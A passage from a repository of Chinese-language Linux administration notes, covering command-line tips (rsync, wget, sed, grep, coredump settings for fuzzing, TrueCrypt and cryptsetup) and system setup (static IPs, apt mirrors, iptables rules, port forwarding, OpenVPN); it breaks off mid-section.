ff=unix\r\n:wq\r\n```\r\n----\r\n\r\n## 不用free查看内存占用\r\n\r\n在docker容器内部一般是不能通过`free -h`来查看真实占用的内存的，这时候可以采用`ps aux`累加RSS字段来估计：\r\n\r\n```\r\nps aux | awk '{sum+=$6} END {print sum / 1024}'\r\n```\r\n\r\n----\r\n\r\n## watch持续观察命令输出\r\n\r\n例如我想持续查看output.txt文件大小：\r\n\r\n```\r\nwatch -n 1 ls -l output.txt\r\n```\r\n\r\n其中`-n 1`表示每隔1s刷新一次\r\n\r\n这个命令等价于自己写个bash脚本：\r\n\r\n```\r\n#! /bin/bash\r\nwhile [ 1 ]\r\ndo\r\n # do your work here...\r\n sleep 1\r\n clear\r\ndone\r\n```\r\n\r\n----\r\n\r\n## 树莓派2上编译Truecrypt 7.1a，使用make -j5 -l4加速编译\r\n\r\n参照[http://davidstutz.de/installing-truecrypt-raspbian/](http://davidstutz.de/installing-truecrypt-raspbian/)，一步步来就行啦\r\n\r\n具体步骤如下，其中make使用参数`-j5 -l4`表示同时执行5个编译但限制系统负载<4（因为编译过程很慢，直接make只会使用1个CPU，这样设置后可以充分利用树莓派4核心CPU）：\r\n\r\n涉及的压缩包[truecrypt-targz.zip](https://d.py3.io/truecrypt-targz.zip)，[wxWidgets-2.8.11.zip](https://d.py3.io/wxWidgets-2.8.11.zip)，[pkcs.zip](https://d.py3.io/pkcs.zip)\r\n\r\n```\r\napt-get install -y unzip build-essentials pkg-config gtk2.0-dev libfuse-dev\r\n#用unzip解压压缩包，都解压到/root下，目录结构：\r\n# /root\r\n#  | - truecrypt-targz\r\n#  | - wxWidgets-2.8.11\r\n#  | - pkcs\r\n\r\ncd wxWidgets-2.8.11\r\n./configure\r\nmake -j5 -l4 #特别慢，耐心等待\r\nmake -j5 -l4 install\r\n\r\ncd ../truecrypt-targz\r\nexport PKCS11_INC=/root/pkcs/\r\nmake -j5 -l4 NOGUI=1 WX_ROOT=/root/wxWidgets-2.8.11 wxbuild\r\nmake -j5 -l4 NOGUI=1 WXSTATIC=1\r\n\r\nMain/truecrypt --version #输出TrueCrypt 7.1a\r\ncp Main/truecrypt /usr/local/bin/\r\n```\r\n\r\n你也可以下载我已经编译好的版本[truecrypt-armv7l](https://d.py3.io/truecrypt-armv7l)\r\n\r\n----\r\n\r\n## scp目录断点续传\r\n\r\n正在拷贝目录的时候被中断了（例如mount.ntfs卡死），而scp不能跳过已经存在的文件、只会覆盖；如果用rsync完全断点续传似乎会校验文件，太慢\r\n\r\n方法是：删掉中断时正在拷贝的不完整文件，使用下述命令来跳过已经存在的文件：\r\n\r\n假设要把远程目录/path/这个文件夹整个拷贝到/mnt/下（也就是内容拷贝到/mnt/path/下）\r\n\r\n```\r\nrsync --progress -v -au username@host:\"'/path'\" /mnt/\r\n```\r\n\r\n注意源路径/path后面不能有/，否则rsync不会创建/mnt/path这个文件夹；/path被两层引号包围是为了支持含有空格的文件夹名称，一层是本地命令，远程目录也要一层\r\n\r\nrsync的`--progress -v`参数表示显示当前进度和更多内容，`-a`表示archive递归并尽可能原样保留所有信息，`-u`表示跳过已经存在的文件\r\n\r\n[查看man文档 explainshell.com](https://www.explainshell.com/explain?cmd=rsync+--progress+-v+-au+username%40host%3A%22%27%2Fpath%27%22+%2Fmnt%2F)\r\n\r\n----\r\n\r\n## 使用wget代替scp传输文件夹 避免无谓的加密性能损失（适用于树莓派）\r\n\r\n在内网传输非敏感数据时，没有必要使用scp（基于ssh）的安全传输，尤其是树莓派这种计算性能有限的情形。使用HTTP能有效加速传输过程，且部署简单，相比配置复杂的vsftpd可以说是很简单了\r\n\r\n#### 服务端（数据传出端）\r\n\r\n使用nginx配置允许列目录即可，在/etc/nginx/sites-enabled/下添加一个文件：\r\n\r\n```\r\nserver{\r\n    listen 8080;\r\n    root /path/to/your/dir;\r\n    autoindex on;\r\n    autoindex_exact_size off;\r\n    autoindex_localtime on;\r\n}\r\n```\r\n\r\n如果你不具有root权限，可以复制一份nginx.conf，修改其中出现的所有你没有权限修改的文件路径，例如access_log，然后使用`nginx -c /home/yourname/nginx.conf`（注意必须绝对路径）启动你的nginx，没有出现EMRG错误即为启动成功（可以使用netstat -pant观察是否成功监听端口）\r\n\r\n#### 客户端（数据传入端），使用wget：\r\n\r\n```\r\nalias myget='wget -r -np -nH -R index.html --restrict-file-names=nocontrol  -p -N -l0 -e robots=off --read-timeout=20 --tries=0'\r\ncd /mnt #下载到哪\r\nmyget http://server_IP:8080/yourdir #相当于将yourdir复制到当前文件夹\r\n```\r\n\r\n参数说明：\r\n\r\n-r 递归下载，-np不要进入父目录，-nH不要创建host文件夹，-R index.html不要保存文件列表的index.html，--restrict-file-names=nocontrol不要乱改中文文件名\r\n\r\n-p 要下载图片，-N 使用浏览器304的方式避免重复下载，-l0递归层数不限制，-e robots=off不检查robots.txt\r\n\r\n--read-timeout=20 如果20s之内没有数据传输则认为失败进行重试，--tries=0无限次重试\r\n\r\n[查看man文档](https://www.explainshell.com/explain?cmd=wget%20-r%20-np%20-nH%20-R%20index.html%20--restrict-file-names=nocontrol%20http://yourserver:8080/yourdir)\r\n\r\n----\r\n\r\n## 清除已经断开的sshd进程\r\n\r\n如果你发现ps aux或netstat -pant输出了大量sshd的信息，说明之前ssh连接断开后sshd并没有退出而是一直占用内存\r\n\r\n我们可以清除掉这些进程来释放内存\r\n\r\n首先通过`pstree -p`来查看当前你的ssh会话的sshd进程PID，例如输出了这样一行：\r\n\r\n```\r\n├─sshd(32275)───bash(32413)───pstree(6543)\r\n```\r\n\r\n则说明当前sshd的pid为32275，然后执行下面这条命令来kill -9其他所有的sshd进程：\r\n\r\n```\r\nps -ef | grep sshd | grep -v 32275 | grep -v grep | awk '{print \"kill -9\", $2}' |sh\r\n```\r\n\r\nHint: 如果当前主机还运行着Docker容器，如果容器的守护进程是sshd，上一条命令可能使容器退出；所以你还需要`docker top`来确定容器的sshd在主机上的pid号\r\n\r\n----\r\n\r\n## 批量替换文本\r\n\r\n例如批量递归替换当前文件夹及子文件夹所有php文件，将其中的\"aha/666\"改为\"ovo/999\"\r\n\r\n命令如下：\r\n\r\n```\r\nfind . -type f -name \"*.php\" -exec sed -i 's~aha/666~ovo/999~g' {} +\r\n```\r\n\r\n其中sed -i原位替换用的分隔符由于替换前后字符串中出现了/，所以不能用经典的/，而改用~\r\n\r\n----\r\n\r\n## 找到最近修改的文件\r\n\r\n例如wget递归下载，中途被中断了，恢复的时候与其每个文件都请求一次不如直接跳过已经存在的文件\r\n\r\n那就需要找到中断的时候正在写入哪个文件，删掉这个文件继续\r\n\r\n这个命令可以以时间顺序显示当前文件夹及子文件夹文件，新文件显示在最前面\r\n\r\n```\r\nfind . -type f -printf '%TY-%Tm-%Td %TT %p\\n' | sort -r|less\r\n```\r\n\r\n----\r\n\r\n## 使用cryptsetup挂载truecrypt分区\r\n\r\n在ubuntu 16.04中编译truecrypt 7.1a运行时出现错误：`error: Invalid characters encountered.`\r\n\r\n在这个链接上找到了答案（感谢在其他论坛找到答案后主动提供解决方案的Jakub Urbanowicz）\r\n\r\nhttps://bugs.archlinux.org/task/47325\r\n原贴地址（搜索cryptsetup）：https://forums.gentoo.org/viewtopic-p-7809512.html\r\n\r\n方法是：\r\n\r\n```\r\nsudo su #以下命令都要root权限，如果在Docker容器中尝试 启动容器时需要--privileged\r\n# 先安装cryptsetup\r\napt install -y cryptsetup-bin\r\n\r\n# 挂载，注意type前面是两个横线，文件路径可以是/dev/sdb1，名称随便填\r\ncryptsetup open --type tcrypt truecrypt文件路径 名称\r\n\r\n# 然后mount挂载\r\nmount /dev/mapper/名称 挂载点\r\n\r\n# 卸载的时候记得close，都还是要root权限\r\numount 挂载点\r\ncryptsetup close 名称\r\n```\r\n\r\n----\r\n\r\n## 从二进制文件中提取片段\r\n\r\n用binwalk发现需要的片段的起始位点，以及计算出长度\r\n\r\nbinwalk直接-e有时候就能满足需求，但如果是exe文件 exe本身可能被拆成多个文件 如一堆证书，这时候可以\r\n\r\n```\r\nbinwalk -D 'exe' 文件名\r\n```\r\n\r\n或者用dd，注意别用bs=1 太慢：\r\n\r\n```\r\ndd if=input.binary of=output.binary skip=$offset count=$bytes iflag=skip_bytes,count_bytes\r\n```\r\n\r\nFrom: https://stackoverflow.com/questions/1423346/how-do-i-extract-a-single-chunk-of-bytes-from-within-a-file\r\n\r\n如果省略掉count就是一直到末尾\r\n\r\n----\r\n\r\n## redis匹配前缀删除大量键值\r\n\r\nFROM: https://stackoverflow.com/questions/4006324/how-to-atomically-delete-keys-matching-a-pattern-using-redis\r\n\r\n删除当前数据库中prefix开头的所有key：\r\n\r\n```\r\nEVAL \"local keys = redis.call('keys', ARGV[1]) \\n for i=1,#keys,5000 do \\n redis.call('del', unpack(keys, i, math.min(i+4999, #keys))) \\n end \\n return keys\" 0 prefix*\r\n```\r\n\r\n----\r\n\r\n## 批量替换子目录特定后缀名文件内容\r\n\r\n使用`sed -i` 和`find`\r\n\r\n例如本站编译脚本在mkdocs编译后对所有.html文件执行替换，改用国内CDN\r\n\r\n```\r\nsed -i 's#cdnjs.cloudflare.com#cdnjs.loli.net#g' $(find -type f -name \"*.html\")\r\nsed -i 's#fonts.googleapis.com#fonts.loli.net#g' $(find -type f -name \"*.html\")\r\n```\r\n\r\n----\r\n\r\n## coredump in fuzzing\r\n\r\n参考： http://man7.org/linux/man-pages/man5/core.5.html\r\n\r\n为啥afl要求我们`echo core >/proc/sys/kernel/core_pattern` 呢？ fuzzing时怎么避免产生coredump产生大量IO浪费时间？\r\n\r\n### core_pattern是啥\r\n\r\n这个文件`/proc/sys/kernel/core_pattern`是命名coredump文件的模板，比如改为`core`之后产生的coredump文件就叫做`core`\r\n\r\n另一个文件`/proc/sys/kernel/core_uses_pid` 如果是1的话，还会加上`.pid`\r\n\r\n### 怎么才能不产生coredump\r\n\r\n全局关闭：\r\n\r\n```\r\necho >/proc/sys/kernel/core_pattern\r\necho 0 >/proc/sys/kernel/core_uses_pid\r\n```\r\n\r\n还可以在当前目录`mkdir core`，有了同名文件夹就不会再写core文件了\r\n\r\nfuzzer可以用rlimit的功能限制子进程：\r\n\r\n文档说了`RLIMIT_CORE`这个限制，只要它是0就不会产生了，比如[AFL的代码](https://github.com/mirrorer/afl/blob/2fb5a3482ec27b593c57258baae7089ebdc89043/afl-fuzz.c)：\r\n\r\n```\r\n    /* Dumping cores is slow and can lead to anomalies if SIGKILL is delivered\r\n       before the dump is complete. */\r\n\r\n    r.rlim_max = r.rlim_cur = 0;\r\n\r\n    setrlimit(RLIMIT_CORE, &r); /* Ignore errors */\r\n```\r\n\r\n再比如[honggfuzz的代码](https://github.com/google/honggfuzz/blob/af7a92b9a644d1cc75b415351d9cb2a52eadefcf/subproc.c)（honggfuzz-1.7并没有考虑这个）：\r\n\r\n```\r\n/* in cmdline.c */\r\n { { \"rlimit_core\", required_argument, NULL, 0x103 }, \"Per process RLIMIT_CORE in MiB (default: 0 [no cores are produced])\" },\r\n\r\n/* in subproc.c */\r\n#ifdef RLIMIT_CORE\r\n    const struct rlimit rl = {\r\n        .rlim_cur = run->global->exe.coreLimit * 1024ULL * 1024ULL,\r\n        .rlim_max = run->global->exe.coreLimit * 1024ULL * 1024ULL,\r\n    };\r\n    if (setrlimit(RLIMIT_CORE, &rl) == -1) {\r\n        PLOG_W(\"Couldn't enforce the RLIMIT_CORE resource limit, ignoring\");\r\n    }\r\n#endif /* ifdef RLIMIT_CORE */\r\n```\r\n\r\n-----\r\n\r\n## bash对文件乱序遍历\r\n\r\n```\r\nshuf filename|while read line; do python3 run.py \"$line\"; done\r\n```\r\n\r\n## grep查找中文\r\n\r\n```\r\nls /tmp/test | grep -P '[\\p{Han}]' \r\n```\r\n\r\n参考 https://www.regular-expressions.info/unicode.html#script\r\n\r\n-------\r\n\r\n## grep正则提取特定内容\r\n\r\n场景：fuzzing lava 测试集，做了30次重复（每次重复文件夹名称末尾为`_重复`），已经将crash运行得到的stdout和stderr存储为文件，想统计每次重复触发了多少bugid\r\n\r\n换句话说，已知当前文件夹下有一些可能被当成二进制的文本文件，包含`Successfully triggered bug 576, crashing now!`，我想将其中的576提取出来，然后对整个文件夹计数\r\n\r\n注意grep的时候一定要--text，不然会漏掉一些文件\r\n\r\n用到了grep的正则提取，前置判断用`(?<=文本)`，后置判断用`(?=文本)`，例如提取`aaa123bbb`中的123就可以：`echo aaa123bbb|grep -P '(?<=aaa)\\d+(?=bbb)' -o`\r\n\r\n其中`-P`表示正则语法为Perl，`-o`表示只显示匹配\r\n\r\n参考： https://unix.stackexchange.com/questions/13466/can-grep-output-only-specified-groupings-that-match\r\n\r\n```\r\nfor i in `seq 1 1 30`; do \r\n    if [ -d *_${i}/ ]; then \r\n        (cd *_${i}; \r\n         echo $i `grep 'Successfully triggered bug' -r . --text \\\r\n             | grep -P '(?<=bug )(\\d+)(?=,)' -o \\\r\n             |sort| uniq|wc -l` \r\n        ); \r\n    else \r\n        echo ${i} 0; \r\n    fi; \r\ndone\r\n```\r\n\r\n-----\r\n\r\n## 自动kill大内存的进程\r\n\r\n列举所有进程，找出内存超过5%的，kill掉\r\n\r\n注意到sort比较数字大小需要用`-h`或者`-V`，否则会出现`3>20`的比较结果（字符串比较）\r\n\r\n由于`[ \"$num\" -gt 5 ]`只支持num为整数的情况，所以用bc作浮点数大小判断，参考： https://stackoverflow.com/questions/8654051/how-to-compare-two-floating-point-numbers-in-bash\r\n\r\n用`grep -v`设置白名单：docker, perl\r\n\r\n```\r\nwhile true; do \r\n    LINE=$(ps aux|grep -v docker|grep -v perl|sort -k4 -h|tail -n 1); \r\n    (( $( echo \"`echo ${LINE}|awk '{print $4}'` > 5\" |bc -l) )) && \\\r\n        (echo $LINE; \r\n        kill `echo ${LINE}|awk '{print $2}'`); \r\n    sleep 5; \r\ndone\r\n```\r\n\r\n------\r\n\r\n## screen自动操作以及获取当前屏幕内容\r\n\r\n\r\n```\r\nscreen -dmS name /bin/bash\r\nscreen -S name -p 0 -X stuff \"ls\"`echo -ne '\\r'`\r\nscreen -S name -p 0 -X hardcopy /tmp/test.txt\r\n```\r\n\r\n中文字符会有问题，待解决\r\n\r\n------\r\n\r\n## 编译当前文件夹所有.c文件\r\n\r\n`${i%.*}` 去掉文件名的最后一个后缀\r\n\r\n```\r\nfor i in *.c; do gcc $i -o out/${i%.*}; done\r\n```\r\n\r\n-------\r\n\r\n## gdb自动化\r\n\r\n```\r\necho -e \"set pagination off\\nset confirm off\" > ~/.gdbinit\r\n```\r\n\r\n然后使用`gdb ./a.out -ex \"r inputfile\" -ex \"bt\" -ex \"quit\"`\r\n\r\n\r\n-------\r\n\r\n## mktorrent制作种子torrent文件\r\n\r\n参考： https://community.seedboxes.cc/articles/how-to-create-a-torrent-via-the-command-line\r\n\r\n```\r\nsudo apt install mktorrent\r\nmktorrent -v -a \"http://tracker.nexushd.org/announce.php\" -p folder -o folder.torrent -l 24\r\n```\r\n\r\n其中`-l 24`的意思是每个分块为2**24=16MB，这是建议的最大的值\r\n\r\n-------\r\n\r\n## 钉钉直播回放下载 m3u8转mp4\r\n\r\n手机端用抓包软件 如HttpCanary，点开直播回放后会得到一个m3u8的地址，然后使用ffmpeg下载即可\r\n\r\n参考：https://www.bilibili.com/video/av99036702/\r\n\r\nhttps://gist.github.com/tzmartin/fb1f4a8e95ef5fb79596bd4719671b5d\r\n\r\n```\r\nffmpeg -i http://dtliving-pre.alicdn.com/... -bsf:a aac_adtstoasc -vcodec copy -c copy name.mp4\r\n```\r\n\r\n-----\r\n\r\n## 黑色背景ls 目录深绿色看不清改个颜色\r\n\r\nUbuntu系统编辑`~/.dircolors`: (其他系统`~/.dir_colors`)\r\n\r\n```\r\nDIR 01;36 \r\n```\r\n\r\n或者执行：\r\n\r\n```\r\neval `dircolors | sed -e 's/;34:/;36:/'`\r\n```\r\n\r\n----\r\n\r\n## 部署seafile客户端\r\n\r\nhttps://download.seafile.com/published/seafile-user-manual/syncing_client/install_linux_client.md\r\n\r\n需要注意seafile-cli已经加入boinc官方源，但版本与ppa源不匹配\r\n\r\n```\r\n# apt install -y software-properties-common\r\nadd-apt-repository -y ppa:seafile/seafile-client\r\napt update\r\napt install seafile-cli -y\r\nmkdir ~/seafile\r\nseaf-cli init -d ~/seafile\r\nseaf-cli start\r\n# 重启后也需要自己手动启动\r\n```\r\n\r\n在网页端创建/打开资料库后从url复制得到id\r\n\r\n客户端没有需要同步的文件时用download，有需要加入同步的数据用sync\r\n\r\n```\r\nseaf-cli download -l \"the id of the library\"\r\n     -s \"the url + port of server\" \r\n     -d \"the folder which the library will be synced with\" \r\n     -u \"username on server\" \r\n     [-p \"password\"]\r\n```\r\n\r\n登录用户名密码错误的时候报错是400，需要留意\r\n\r\n\r\n----\r\n\r\n## pcregrep正则提取\r\n\r\n例如我们要提取some.htm中所有href属性中的html，使用普通的grep不能只提取单独的group。这里我们用pcregrep可以指定`-o`参数，还可以多次指定连续输出\r\n\r\n```\r\n# apt install -y pcregrep\r\npcregrep -o1 'href=\"([^\\.]*\\.htm)\"' some.htm\r\n```\r\n\r\n-----\r\n\r\n## 管道关闭缓冲\r\n\r\n参考：https://harttle.land/2020/06/06/tail-f-pipe.html\r\n\r\ngrep 添加 `--line-buffered`，sed 添加 `-u`，awk 调 `fflush()`。\r\n\r\nShell 里可以通过 [ -t 1 ] 来判断 stdout（文件描述符 1） 是否是 TTY。 [More](https://rosettacode.org/wiki/Check_output_device_is_a_terminal)\r\n\r\n例子：\r\n\r\n```\r\ntail -f log.txt | grep --line-buffered Error | sed -u 's/harttle//' | awk '${print $1; fflush()}' | grep ENOENT\r\n```\r\n\r\n-----\r\n\r\n## 等待特定进程结束\r\n\r\n例如并行启动编译进程，希望等待所有gcc结束：\r\n\r\n```\r\nwhile [ \"`pgrep -c gcc`\" -gt 0 ]; do \r\n    echo cnt: `pgrep -c gcc`\r\n    sleep 10; \r\ndone\r\n```\r\n\r\n\r\n"
  },
  {
    "path": "Linux-setup.md",
    "content": "# Linux系统配置\r\n\r\n本文档为Linux服务器的配置方面的笔记，Linux相关笔记还有：\r\n\r\n[Linux命令行操作技巧](Linux-cli.md)\r\n\r\n[SSH远程登录](Linux-SSH.md)\r\n\r\n[Linux备份](Linux-backup.md)\r\n\r\nTOC:\r\n\r\n\r\n----\r\n\r\n## 如何翻墙\r\n\r\n## 部署shadowsocks客户端，并部署Privoxy提供http proxy\r\n\r\n代码参见[ssprivoxy.txt](code/ssprivoxy.txt)\r\n\r\n----\r\n\r\n## 配置有线静态IP\r\n```bash\r\nvim /etc/network/interfaces\r\n# 写入以下内容，请自行替换xx部分\r\niface eth0 inet static\r\n address 10.xx.xx.13 #你需要设置的IP\r\n netmask 255.255.255.0 #子网掩码\r\n network 10.xx.xx.0\r\n broadcast 10.xx.xx.255\r\n gateway 10.xx.xx.254 #网关\r\n dns-nameservers 10.10.0.21 #dns服务器\r\n# 按Esc, :wq退出保存\r\nservice networking restart\r\nifconfig eth0 10.xx.xx.13 netmask 255.255.255.0 up\r\nroute add default eth0 #路由配置也很重要，错误的路由将导致不能访问\r\nroute add default gw 10.xx.xx.254 dev eth0 #这里设置为你的网关\r\n```\r\n\r\n注意使用ifconfig进行ip的修改后，会丢失路由信息、额外的ip设置，需要重新配置route（执行上述两条route命令即可）\r\n\r\n## 配置为dhcp自动获取ip，解决RTNETLINK answers: File exists问题\r\n\r\n之前已经配置过静态ip，现在要改为自动获取\r\n\r\n```\r\ndhclient eth0\r\n```\r\n\r\n出现报错RTNETLINK answers: File exists，解决方案：\r\n\r\n```\r\nip addr flush dev eth0\r\n```\r\n\r\n## 配置apt源以加速国内环境下apt速度\r\n\r\n    curl http://mirrors.163.com/.help/sources.list.trusty>/etc/apt/sources.list\r\n\r\n如果还未安装curl，先手动写入这两行：\r\n\r\n```\r\ndeb http://mirrors.163.com/ubuntu/ trusty main restricted universe multiverse\r\ndeb http://mirrors.163.com/ubuntu/ trusty-security main restricted universe multiverse\r\n```\r\n\r\n> 注：vim复制一行的命令为yy，粘贴为p\r\n\r\n或者通过sed替换：\r\n\r\n```\r\nsed -i 's/security.ubuntu.com/mirrors.zju.edu.cn/g' /etc/apt/sources.list\r\nsed -i 's/archive.ubuntu.com/mirrors.zju.edu.cn/g' /etc/apt/sources.list\r\n```\r\n\r\n## 单网卡获得多个IP\r\nifconfig eth0:233 10.xx.xx.233 netmask 255.255.255.0 up\r\n\r\n\r\n## 解决apt依赖问题\r\n\r\n问题描述：服务器为ubuntu14.04版本，某些不明操作后，无法用`apt-get`安装任何东西\r\n\r\n```bash\r\n> apt-get -f install\r\nReading package lists... Done\r\nBuilding dependency tree\r\nReading state information... Done\r\nCorrecting dependencies... failed.\r\nThe following packages have unmet dependencies:\r\n libatk1.0-0 : Depends: libglib2.0-0 (>= 2.41.1) but 2.40.0-2 is installed\r\n libglib2.0-bin : Depends: libglib2.0-0 (= 2.44.0-1ubuntu3) but 2.40.0-2 is installed\r\n libglib2.0-dev : Depends: libglib2.0-0 (= 2.44.0-1ubuntu3) but 2.40.0-2 is installed\r\n libgtk2.0-0 : Depends: libglib2.0-0 (>= 2.41.1) but 2.40.0-2 is installed\r\nE: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.\r\nE: Unable to correct dependencies\r\n```\r\n\r\n仔细看错误说明，libglib2.0-bin这个软件包要求libglib2.0-0的版本=2.44但是现有的安装版本为2.40\r\n\r\n在ubuntu的软件包官网搜索咯：https://launchpad.net/ubuntu/\r\n\r\n发现2.44版本的是vivid才提供的，现在系统版本是trusty，自然apt-get装不了\r\n\r\n解决方案：\r\n\r\n找到报错信息需要的精确匹配的那个deb文件下载咯，例如这里就要下载这个版本的：\r\n\r\nhttps://launchpad.net/ubuntu/vivid/amd64/libglib2.0-0/2.44.0-1ubuntu3\r\n\r\n得到deb文件后`dpkg -i 文件名`\r\n\r\n### Note\r\n\r\n一般apt依赖冲突问题都是由于系统版本与需要的包的版本不一致导致的，检查一下/etc/apt/sources.list看看是否匹配系统版本咯\r\n\r\n用apt-get前检查一下sources.list 看与当前`lsb-release -a`是否一致\r\n\r\n----\r\n\r\n## UnixBench\r\n\r\nVPS性能测试工具，耗时较长，耐心等待\r\n\r\n```bash\r\ncurl https://codeload.github.com/kdlucas/byte-unixbench/zip/v5.1.3>UnixBench.zip\r\nunzip UnixBench.zip\r\ncd byte-unixbench-5.1.3/UnixBench\r\n# apt-get install build-essential\r\nmake\r\nscreen -S ub\r\n./Run\r\n```\r\n\r\n参考数据，均为最低配置：主机屋1590.5；阿里云1470.4；腾讯云1156.0\r\n\r\n### 硬盘IO性能测试\r\n\r\n```\r\ndd if=/dev/zero of=test bs=64k count=4k oflag=dsync\r\ndd if=/dev/zero of=test bs=8k count=256k conv=fdatasync\r\n```\r\n\r\n----\r\n\r\n## 清除内存缓存\r\n\r\n使用`free -h`查看可用内存前可以执行这个命令，查看除去buffer后的可用内存\r\n\r\n```\r\nsync\r\necho 3 > /proc/sys/vm/drop_caches\r\n```\r\n\r\n----\r\n\r\n## 使用iptables封ip\r\n\r\n### 屏蔽单个IP\r\n\r\n    iptables -I INPUT -s 123.45.6.7 -j DROP\r\n\r\n### 封C段\r\n\r\n    iptables -I INPUT -s 123.45.6.0/24 -j DROP\r\n\r\n### 封B段\r\n\r\n     iptables -I INPUT -s 123.45.0.0/16 -j DROP\r\n\r\n### 封A段\r\n\r\n    iptables -I INPUT -s 123.0.0.0/8 -j DROP\r\n\r\n记得**保存**：\r\n\r\n    service iptables save\r\n\r\n## 删除一条规则\r\n\r\n只要把上述的插入规则重写一次，将其中的-I改为-D即可\r\n\r\n    iptables -D INPUT -s IP地址 -j DROP\r\n\r\n如果懒得重写 你也可以先列举出规则所在的id，根据id删除：\r\n\r\n```\r\niptables -L --line-numbers\r\n```\r\n\r\n假设你想删除INPUT链的第3条规则：\r\n\r\n```\r\niptables -D INPUT 3\r\n```\r\n\r\n## 只允许特定IP访问某端口\r\n\r\niptables的插入次序很重要，先加入的会先匹配，所以拒绝策略应该最后加入\r\n\r\n以8888端口为例，只允许10.77.88.99这个IP 和 10.22.33.0/24 这个C段访问，其他来源的访问拒绝 返回connection refused\r\n\r\n```\r\niptables -A INPUT -s 10.77.88.99 -p tcp --dport 8888 -j ACCEPT\r\niptables -A INPUT -s 10.22.33.0/24 -p tcp --dport 8888 -j ACCEPT\r\niptables -A INPUT -p tcp --dport 8888 -j REJECT\r\n```\r\n\r\n----\r\n\r\n## 无root权限使用screen\r\n\r\n> https://www.gnu.org/software/screen/\r\n\r\n复制相同操作系统下的screen二进制文件，运行前指定环境变量\r\n\r\n    mkdir -p $HOME/.screen\r\n    export SCREENDIR=$HOME/.screen\r\n    \r\n----\r\n\r\n## screen的用法\r\n\r\n列出存在的screen：\r\n\r\n    screen -ls\r\n    \r\n创建一个名为name的screen：\r\n\r\n    screen -S name\r\n\r\n从screen脱离：\r\n\r\n    按Ctrl+A后按d\r\n\r\n重新连上名称为name的screen：\r\n\r\n    screen -r name\r\n\r\n创建一个screen的自启动，让后台进程获得tty\r\n\r\n    # 假设写好了一个/root/code.sh\r\n    vim /etc/rc.local\r\n    # 在最后加入一行，其中NAME替换为自己喜欢的名字\r\n    screen -dmS NAME /root/code.sh\r\n\r\n举个例子--监测外网能否ping通，如果不能重连zjuvpn：\r\n\r\n[code/pingtest.sh](code/pingtest.sh)\r\n\r\n----\r\n\r\n## 双网卡端口转发，暴露内网端口\r\n\r\n@TAG 端口转发\r\n\r\n> 来自： https://yq.aliyun.com/wenzhang/show_25824\r\n\r\n有两台机器，其中一台A 有内网和外网，B只有内网。\r\n\r\n目标： 在外网访问A机器的2121端口，就相当于连上了B机器的ftp(21)\r\n\r\n### 环境： \r\n\r\nA机器外网IP为 1.2.3.4(eth1) 内网IP为 192.168.1.20 (eth0)\r\n\r\nB机器内网为 192.168.1.21\r\n\r\n### 实现方法：\r\n\r\n首先在A机器上打开端口转发功能\r\n\r\n```\r\n    echo 1 > /proc/sys/net/ipv4/ip_forward\r\n    echo -e \"\\nnet.ipv4.ip_forward = 1\">>/etc/sysctl.conf\r\n    sysctl -p\r\n```\r\n\r\n然后在A机器上创建iptables规则\r\n\r\n```\r\n# 把访问外网2121端口的包转发到内网ftp服务器\r\niptables -t nat -I PREROUTING -d 1.2.3.4 -p tcp --dport 2121 -j DNAT --to 192.168.1.21:21 \r\n\r\n# 把到内网ftp服务器的包回源到内网网卡上，不然包只能转到ftp服务器，而返回的包不能到达客户端\r\niptables -t nat -I POSTROUTING -d 192.168.1.21 -p tcp --dport 21 -j SNAT --to 192.168.1.20 \r\n\r\n# 保存一下规则\r\nservice iptables save\r\n```\r\n\r\n### 取消转发方法\r\n\r\niptables中把-I改为-D运行就是删除此条规则\r\n\r\n----\r\n\r\n## 保护重要系统文件防止被删\r\n\r\n使用+i标志位使得root用户也不能删除/bin, /sbin, /usr/sbin, /usr/bin, /usr/local/sbin, /usr/local/bin\r\n\r\n```\r\nchattr -R +i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin\r\n```\r\n\r\n设置后无法apt-get安装新软件，需要先取消标志位\r\n\r\n```\r\nchattr -R -i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin\r\n```\r\n\r\n----\r\n\r\n## 查看CPU核心个数\r\n\r\n一般我会用 `top` 命令，按 `1` 就能看到每个CPU占用情况\r\n\r\n但当CPU太多的时候还是需要执行命令的：\r\n\r\n```\r\n# 查看物理CPU个数\r\ncat /proc/cpuinfo| grep \"physical id\"| sort| uniq| wc -l\r\n\r\n# 查看每个物理CPU中core的个数(即核数)\r\ncat /proc/cpuinfo| grep \"cpu cores\"| uniq\r\n\r\n# 查看逻辑CPU的个数\r\ncat /proc/cpuinfo| grep \"processor\"| wc -l\r\n```\r\n\r\n----\r\n\r\n## 非交互式添加用户\r\n\r\n```\r\nuseradd username -m\r\necho username:badpassword|chpasswd\r\n```\r\n\r\n添加一个用户名为username的用户并创建home目录，并设置密码为badpassword\r\n\r\n----\r\n\r\n## 简单OpenVPN配置\r\n\r\n一个最最简单的场景：只有一个服务器 一个客户端，在容器中用来给用户直接访问的一个内网IP\r\n\r\n参考： https://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html\r\n\r\n### 安装openvpn:\r\n\r\nLinux:\r\n\r\n```\r\napt-get install openvpn\r\n```\r\n\r\nWindows:\r\n\r\n[openvpn.exe](https://d.py3.io/openvpn.exe)\r\n\r\n### 生成密钥\r\n\r\n```\r\nopenvpn --genkey --secret static.key\r\n```\r\n\r\n用另外建立的安全通道(SSH)将static.key发给客户端\r\n\r\n### 服务端配置\r\n\r\n```\r\nifconfig 10.8.0.1 10.8.0.2\r\nsecret /static.key\r\nkeepalive 10 60\r\npersist-key\r\npersist-tun\r\nproto udp\r\nport 1194\r\ndev tun0\r\nstatus /tmp/openvpn-status.log\r\n\r\nuser nobody\r\ngroup nogroup\r\n```\r\n\r\n在 Ubuntu 中，如果要配置成系统服务的形式，将其保存到/etc/openvpn/myvpn.conf\r\n\r\n然后这样启动它：\r\n\r\n```\r\nservice openvpn@myvpn start\r\n```\r\n\r\n这样设置开机自启\r\n\r\n```\r\nsystemctl enable openvpn@myvpn.service\r\n```\r\n\r\n### 客户端配置\r\n\r\n```\r\n\r\nremote 这里是你的服务器IP 这里是你的服务器端口 udp\r\ndev tun\r\nifconfig 10.8.0.2 10.8.0.1\r\nsecret static.key\r\n```\r\n\r\n### 在Docker中使用服务端\r\n\r\n参考： 